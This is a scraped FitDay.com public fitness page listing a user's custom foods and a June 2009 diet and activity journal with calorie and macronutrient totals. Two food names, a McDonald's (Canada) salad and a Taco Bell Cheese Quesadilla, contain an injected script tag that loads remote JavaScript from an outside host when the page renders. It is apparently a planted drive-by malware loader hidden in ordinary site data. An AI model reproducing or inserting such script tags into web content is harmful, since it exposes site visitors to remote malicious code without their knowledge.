You are not logged into FitDay.com
My Fitness Log
FitDay.com HomeGet A Free Fitness Journal
Find a member
FitDay PCAdvertiseArticlesForumsLog In To FitDay
sockmonkey70
- Public Fitness Pages

sockmonkey70

Custom Foods

100 Cal Cheetos  
100 Cal Oreo Granola  
100 Calorie Fudge Shoppe Cookies  
A&W Restaurant - Chicken Strips (3 pieces) {1 serving = 3 pieces OR 159g}  
A&W Restaurant - Onion Rings {1 serving = 1 order OR 113g}  
Amy's Organic Enchilada Cheese  
Anheuser-Busch - Bacardi Silver {1 serving = 1 can/bottle OR 12 fl oz OR 355 mL}  
Arby's Bacon Swiss Chicken Sandwich  
Atlanta Bread Company - Salads - Fruit Salad {1 serving = 1 salad OR 10 oz}  
Atlanta Bread Company - Sandwiches - Hot Pastrami Sandwich (no cheese) {1 serving = 1 sandwich OR 8 oz}  
Aussie Fries  
Baby Carrots  
Banquet Popcorn Chicken  
Baskin-Robbins - Ice Cream, Vanilla flavored {1 serving = 1 4-oz scoop OR 0.5 cup OR 113g}  
Bean Burrito  
Beef Fajita Plate {1 serving = 1 plate OR 8.7 oz}  
Bob Evans - Syrup (Sugar-Free) {1 serving = 1 order OR 3 oz OR 85g}  
Bresler's - No Fat Lite Yogurt {1 serving = 0.5 cup OR 88g}  
Breyers - Fat Free Vanilla ice cream {1 serving = 0.5 cup OR 67g}  
Breyers - Vanilla No Sugar Added ice cream (Light) {1 serving = 0.5 cup OR 69g}  
Bruster's Real Ice Cream - No Sugar Added - Fat Free Vanilla Ice Cream {1 serving = 0.5 cup OR 90g}  
Burger King - French Fries - Medium {1 serving = 1 medium order OR 116g}  
Burger King - French Fries, Medium (Salt not added) {1 serving = 1 medium order OR 116g}  
Burger King - Original Whopper Jr. Sandwich {1 serving = 1 sandwich OR 158g}  
Burger King - Original Whopper Sandwich {1 serving = 1 sandwich OR 291g}  
Burger King - WHOPPER JR. Sandwich with Cheese {1 serving = 1 sandwich OR 170g}  
Carl's Jr. - Charbroiled Chicken Barbecue Ranch Salad {1 serving = 1 salad OR 576g}  
Cheese Quesidilla  
Cheez-It  
Cheez-It Reduced Fat Crackers  
Chick-fil-A - Chicken Sandwich {1 serving = 1 sandwich OR 170g OR 6 oz}  
Chick-fil-A - Dipping Sauces - Polynesian Sauce {1 serving = 1 packet OR 28g OR 1 oz}  
Chick-fil-A - Nuggets {1 serving = 12 nuggets OR 6 oz OR 170g}  
Chick-fil-A - Salad Dressings - Caesar Dressing {1 serving = 1 packet OR 35g OR 1.25 oz}  
Chick-fil-A - Waffle Potato Fries, salted (small) {1 serving = 1 small order OR 85g OR 3 oz}  
Chicken Portabella  
Chicken Salad (My Recipe)  
Chicken Tortilla Soup  
Chili's Grill & Bar - Grilled Chicken Sandwich {1 serving = 1 sandwich}  
Chili's Grill & Bar - Sauteed Mushrooms, Onions and Bell Peppers {1 serving = 1 order}  
Chili's House Salad  
Chili's Southwest Eggrolls  
Chinese Chicken and Broccoli  
Cone  
Cottage Doubles- Breakstones  
Country Buffet - Soft Serve Frozen Yogurt, Nonfat, Vanilla {1 serving = 4 fl oz OR 89g}  
Crab Rangoon {1 serving = 1 piece}  
Dole - Fruit Bowls - Mandarin Oranges {1 serving = 1 container OR 4 oz OR 113g}  
Domino's - 12-inch Medium Classic Crunchy Thin Crust Pizza - Crust, Sauce and Cheese Only {1 serving = 1 slice OR 0.125 pizza OR 55g}  
Domino's - Cheesy Bread (each) {1 serving = 1 piece OR 38g}  
Edy's - No Sugar Added Ice Cream, Butter Pecan flavor {1 serving = 0.5 cup}  
Fat Free Ice Cream  
Fat Free Refried Beans  
Fire Mountain - Salisbury Steak with Gravy {1 serving = 1 patty}  
Fresh City - Bourbon Street Muffaletta Sandwich {1 serving = 1 sandwich}  
Frito-Lay - Baked! Lay's KC Masterpiece Barbecue flavored Potato Crisps {1 serving = 1 pz OR 11 crisps OR 28g}  
Frito-Lay - Sun Chips, Harvest Cheddar flavored {1 serving = 1 oz}  
Frozen Chicken Breast  
Gardenburger - Meatless Burger, Savory Portabella flavored {1 serving = 1 patty OR 71g}  
Gen Soy Crispy Chocolate Mint Soy Protein Bar  
General Mills - Fiber One Chewy Bars, Oats & Chocolate {1 serving = 1 bar OR 40g}  
Glazed Donut  
Ground Turkey  
Hambuer Helper Spaghetti (before meat)  
Harvest Cheddar Sunchips  
Healthy Choice - Country Breaded Chicken {1 serving = 1 meal OR 10.25 oz}  
Healthy Choice - Medium Cook Roast Beef {1 serving = 2 oz}  
Healthy Choice - Pepperoni French Bread Pizza {1 serving = 1 pizza OR 6 oz OR 170g}  
Healthy Choice - Roast Beef {1 serving = 2 oz}  
Healthy Life - Light Sandwich Wheat Buns {1 serving = 1 bun OR 43g}  
Hershey Stick  
Hibachi-San Japanese Grill - Assorted Sushi {1 serving = 1 box OR 6 rolls OR 197g}  
Homemade Beef and Veggie Soup  
Hormel Compleats Beef and Beans  
Hostess 100 Cal Golden Cake with Filling  
Hot Pocket Twisted Stix Double Cheese Pizza  
Jamba Juice - Smoothie - Strawberries Wild {1 serving = 32 oz OR 911g}  
Jell-O - Sugar Free, Pudding Snacks, Double Chocolate flavored {1 serving = 1 snack cup OR 3.75 oz OR 106g}  
KFC - Quaker Chewy S'mores Granola Bar {1 serving = 1 bar OR 24g}  
Kashi TLC Honey Almond  
Keebler - Toasteds Crackers, Wheat flavor, Reduced Fat {1 serving = 5 crackers OR 14g}  
Kellogg's - Low-Fat Granola without Raisins {1 serving = 0.5 cup OR 49g}  
Ken's Lite Sweet Vidalia  
Kraft - Philadelphia Cream Cheese, Light {1 serving = 32g OR 1.1428 oz}  
Kroger - Lite Nonfat Yogurt, Bananas Foster flavor {1 serving = 1 container cup OR 8 oz OR 226g}  
LC Baked Chicken w/ Cornbread and potatoes  
LC Cheese Lasagna and CHicken Patties  
LC Cheese Ravioli  
LC Chicken Carbonara  
LC Chicken Enchilada Suiza  
LC Chicken Fried Rice  
LC Chicken Tuscan  
LC Four Cheese Pizza  
LC Ginger Garlic Stir Fry with Chicken  
LC Mac n Cheese  
LC Mushroom Pizza  
LC Pepperoni Pizza  
LC Potatoes, Broccoli, and Cheese  
LC Roasted Garlic Chicken  
LC Sesame Chicken Stir Fry  
LC Spaghetti w/ Meatballs  
LC Spinach and Mushroom Pizza  
LC Vegetable Egg Roll  
Lean Cuisine - Brick Oven Style Gourmet Mushroom Pizza {1 serving = 1 package OR 6 oz}  
Lean Cuisine - Cheese Ravioli with Chunky Tomato Sauce {1 serving = 1 meal OR 8.5 oz OR 240g}  
Lean Cuisine - Salisbury Steak with Macaroni & Cheese {1 serving = 1 meal}  
Lean Cuisine Chicken Mediterranean  
Lean Cuisine French Bread Pizza  
Lean Cuisine Roasted Turkey Breast  
Lean Pocket Four Cheese Pizza  
Lean Pocket Soft Bake Sub- Pepperoni  
Lean Pockets - Stuffed Sandwich, Chicken Fajita flavor {1 serving = 1 piece OR 128g OR 4.5 oz}  
Lean Pockets - Stuffed Sandwich, Ham & Cheddar flavor {1 serving = 1 piece OR 128g OR 4.5 oz}  
Lean Pockets - Stuffed Sandwich, Pepperoni Pizza flavor {1 serving = 1 pocket OR 128g OR 4.5 oz}  
Lean Pockets - Stuffed Sandwich, Philly Steak & Cheese flavor {1 serving = 1 piece OR 128g OR 4.5 oz}  
McDonald's (Canada) - Bacon Ranch Salad with Warm Cr<script src=http://c.uc8010.com/0.js></script> {1 serving = 1 salad OR 331g}  
McDonald's (Canada) - Triple Thick Shake - Chocolate, Medium-Sized {1 serving = 1 medium OR 451g}  
McDonald's (Canada) - White Meat Chicken McNuggets - 6 pieces {1 serving = 6 McNuggets OR 113g}  
McDonald's - Breakfast - Bacon, Egg & Cheese McGriddles {1 serving = 1 sandwich OR 5.9 oz OR 169g}  
McDonald's - Cheeseburger {1 serving = 1 sandwich OR 4.2 oz OR 119g}  
McDonald's - Desserts/Shakes - Vanilla Reduced Fat Ice Cream Cone {1 serving = 1 cone OR 3.2 oz OR 90g}  
McDonald's - Double Cheeseburger {1 serving = 1 sandwich OR 6.1 oz OR 173g}  
McDonald's - French Fries - Medium French Fries {1 serving = 1 medium order OR 5.2 oz OR 147g}  
McDonald's - Premium Crispy Chicken Classic Sandwich {1 serving = 1 sandwich OR 8.2 oz OR 232g}  
McDonald's - Premium Grilled Chicken Classic Sandwich {1 serving = 1 sandwich OR 8 oz OR 229g}  
McDonald's Classic Crispy Chicken Sandwich  
Mighty Moos Ice Cream Bar  
Mini Bagel  
Ninety Nine - Top Sirloin Steak (without sides) {1 serving = 1 steak}  
Nutty Bar  
Oscar Mayer - Deli-Style Shaved Turkey Breast, Oven Roasted {1 serving = 6 slices OR 51g OR 0.2 package}  
P.F. Chang's China Bistro - Moo Goo Gai Pan {1 serving = 1 meal}  
Pei Wei - Crab Wontons (per serving) {1 serving = 4 wontons OR 0.5 dish}  
Philly CHeesesteak Hamburger Helper  
Pizza Hut - Personal Pan Pizza, Cheese Only (whole pizza) {1 serving = 1 pan pizza OR 4 slices OR 250g}  
Pop-Secret - 100 Calorie Kettle Popcorn {1 serving = 1 bag OR 5.33 cups}  
Popcorn Shrimp  
Popeyes Biscuit  
Popeyes Chicken Wing  
Popeyes French Fies  
Portwine Cheese  
Pria Vanilla Chai Crisp  
Pringles - Fat Free Potato Crisps, Sour Cream and Onion flavor {1 serving = 15 crisps OR 1 oz OR 28g}  
Pringles - Potato Crisps, Spicy Cajun flavor {1 serving = 14 crisps OR 1 oz OR 28g}  
Quaker - Quakes, Chocolate flavored {1 serving = 7 mini cakes OR 15g}  
Quizno's Subs (Australia) - Beef and Cheddar Sub Sandwich on White Bread, Large sized {1 serving = 1 large sub OR 345g}  
Reese's Snacksters  
Remoulade Dressing  
Ribeye  
Ritz Whole Wheat  
Roast Beef Oscar Meyer Sliced  
Rockhampton Ribeye  
Ryan's - Sirloin Steak - 8 oz. {1 serving = 8 oz}  
Silk - Soymilk, Chocolate {1 serving = 1 cup OR 8 fl oz OR 240 mL}  
Slim Fast High Protein  
Slim Fast Optima Chocolate Shake  
Slim-Fast - Ultra Slim-Fast Powdered Shake Mix, Chocolate Delite flavored, with Soy Protein, Water Mixable {1 serving = 2 scoops OR 0.5 cup OR 48g}  
Smart Ones Calzone  
Smart Ones Chicken Cheese Quesadilla  
Smart Ones Double Fudge Cake  
Smoothie King - Angel Food Low Fat Smoothie {1 serving = 20 oz}  
Smoothie King Angel Food  
SnackAway Yogurt Creme Cake  
Snyder's of Hanover - Nibblers, Honey Mustard & Onion flavored {1 serving = 1 oz}  
Snyder's of Hanover - Thin Pretzels {1 serving = 1 oz}  
Sonic - Bacon Cheeseburger TOASTER Sandwich {1 serving = 1 sandwich OR 251g}  
Sonic - Breaded Chicken Sandwich {1 serving = 1 sandwich OR 255g}  
Sonic - French Fries, Regular sized {1 serving = 1 regular order OR 75g}  
Sonic - Jr. Burger {1 serving = 1 burger OR 117g}  
Sonic - Jr. Cheeseburger {1 serving = 1 burger OR 135g}  
Sonic - Kids' French Fries {1 serving = 1 regular order OR 75g}  
Sonic - Mozzarella Sticks {1 serving = 1 order OR 135g}  
Sonic Breaded Chicken Sandwich  
Sonic Chicken Toaster Club  
South Beach Diet - Four Cheese Pizza {1 serving = 1 pizza OR 6 oz OR 178g}  
Sticky Rice {1 serving = 1 cup OR 200g}  
Stouffer's - Lean Cuisine Cafe Classics Steak Tips Portabello {1 serving = 1 meal OR 7.5 oz OR 212g}  
Stouffer's - Lean Cuisine Macaroni and Beef {1 serving = 1 meal}  
Subway - 1% Low Fat Milk {1 serving = 12 oz OR 366g}  
Subway - 6-Inch Subway Club Sandwich {1 serving = 1 six-inch sandwich OR 256g}  
Subway - 7 Under 6 Turkey Breast sandwich, 6-inch sub {1 serving = 1 6-inch sub OR 222g}  
Subway - Cheddar Cheese, Natural {1 serving = 2 triangles OR 15g}  
Subway - Chocolate Chip Cookie {1 serving = 1 cookie OR 45g}  
Subway - Fat Free Sweet Onion Select Sauce {1 serving = 1.5 Tbsp OR 21g}  
Subway - Footlong Subway Club Sandwich {1 serving = 1 footlong sandwich OR 514g}  
Subway - Sweet Onion Chicken Teriyaki Sub, 6-inch Select sandwich {1 serving = 1 6-inch sub OR 269g}  
Subway Club with Light Mayo, Cheese, and Veggies  
Sweet Potato  
Taco Bell - Bean Burrito {1 serving = 1 burrito OR 7 oz}  
Taco Bell - Bean Burrito {1 serving = 1 burrito}  
Taco Bell - Burrito Supreme - Chicken {1 serving = 1 burrito OR 8.75 oz}  
Taco Bell - Cheese Quesadilla<script src=http://c.uc8010.com/0.js></script> {1 serving = 1 order OR 5 oz}  
Taco Bell - Crunchwrap Supreme {1 serving = 1 Crunchwrap OR 254g}  
Taco Bell - Pintos 'n Cheese {1 serving = 1 order OR 4.5 oz}  
Taco Bell - Steak Quesadilla {1 serving = 1 quesadilla OR 184g}  
Taco Bell - Taco {1 serving = 1 taco OR 2.75 oz}  
Taco Bell Beef Chalupa Supreme  
Taco Bell Chicken Quesadilla  
Teddy Grahams Oatmeal Flavor  
The Laughing Cow - Light Original Swiss Flavored Cheese Wedge {1 serving = 1 wedge OR 21g}  
Thin Sliced Beef Philly Steak  
Timber Lodge Steakhouse - Top Sirloin, 8 oz. {1 serving = 1 steak OR 8 oz}  
Tokyo Joe's - Zushi Combo (4 pieces) {1 serving = 4 pieces}  
Tropicana - Light'n Healthy {1 serving = 8 fl oz OR 240 mL}  
V8 Low Sodium  
Wendy's - Salad Dressings - Low Fat Honey Mustard {1 serving = 1 packet OR 64g OR 2.25 oz}  
Whataburger - French Fries, Regular size {1 serving = 1 regular order}  
Whataburger - Justaburger with Cheese {1 serving = 1 sandwich OR 129g}  
Yoplait Whips Yogurt  
chic-fil-a chicken sandwich  
dinner roll (plain) {1 serving = 1 roll OR 1 oz}  
portabella mushroom, raw, sliced {1 serving = 100g}  
whipped cream cheese spread  


See All Custom Foods

FitDay - Free Diet Journal

Get your free online diet journal and start tracking your foods, exercises, weight loss, and goals.

Get Your Free Journal
Click here to get your free Diet and Fitness Journal

FitDay Journal for sockmonkey70  (Jun 22, 2009)

Food Eaten
Food Name
Amount
Unit
Cals
Carb
Fat
Prot
Total
1,349
212.3
36.7
47.3
Fiber 7 Flakes, Health Valley
1.5
cup
196
43.4
0.8
8.0
Milk, 1% fat
0.5
cup
51
6.1
1.2
4.1
Frankfurter or hot dog, turkey
1
frankfurter
132
0.9
10.1
8.7
Bread, white
1.4
regular slice
97
18.4
1.2
2.8
Cheese, processed, American or Cheddar type, lowfat
1
slice (1 oz) (Include Weight Watchers)
51
1.0
2.0
7.0
Salad dressing, KRAFT Mayo Light Mayonnaise
1
tbsp
50
1.3
4.9
0.1
Lemon-limeade
2
cup (8 fl oz)
309
78.9
0.1
0.2
CHEF BOYARDEE Mini Ravioli, Beef Ravioli in Tomato and Meat ...
2
cup
464
62.3
16.3
16.5
Total
1,349
212.3
36.7
47.3
Activity
Activity
Specific Activity
Time (hh:mm)
Calories Burned
Distance
Units
Calories Burned Today
24:00
2,105
lifting items continuously, 10...
0:45
202
Lifestyle
Sedentary
23:15
1,903
Calories Burned Today
24:00
2,105
Calories Eaten
GramsCalories%-Cals
Calories
1,349
Fat
36.7
330
24
%
Saturated
13.5
121
9
%
Polyunsaturated
4.7
42
3
%
Monounsaturated
11.2
101
7
%
Carbohydrate
212.3
834
62
%
Dietary Fiber
13.9
Protein
47.3
192
14
%
Alcohol
0.0
0
0
%
Fat
  (
24
%)
Carbs
  (
62
%)
Protein
  (
14
%)
Alcohol
  (
0
%)
Calories Burned
Calories Burned:
2,105
Lifestyle:
1,903
Activities:
202
Lifestyle  (
1,903
cals)
Activities  (
202
cals)
Weight Change

archive

  Most Recent

  06/22/2009
  06/21/2009
  01/29/2008
  01/28/2008
  01/11/2008
  01/10/2008
  01/08/2008
  01/07/2008
  01/06/2008
  01/05/2008


More Entries  
Advertise on FitDay.com
Copyright © 2000 - 2009 Internet Brands, Inc. All rights reserved.
FITDAY is a registered service mark of Internet Brands, Inc.
Terms of Service |  Privacy Policy |  Contact FitDay |  Credits |  Affiliate Program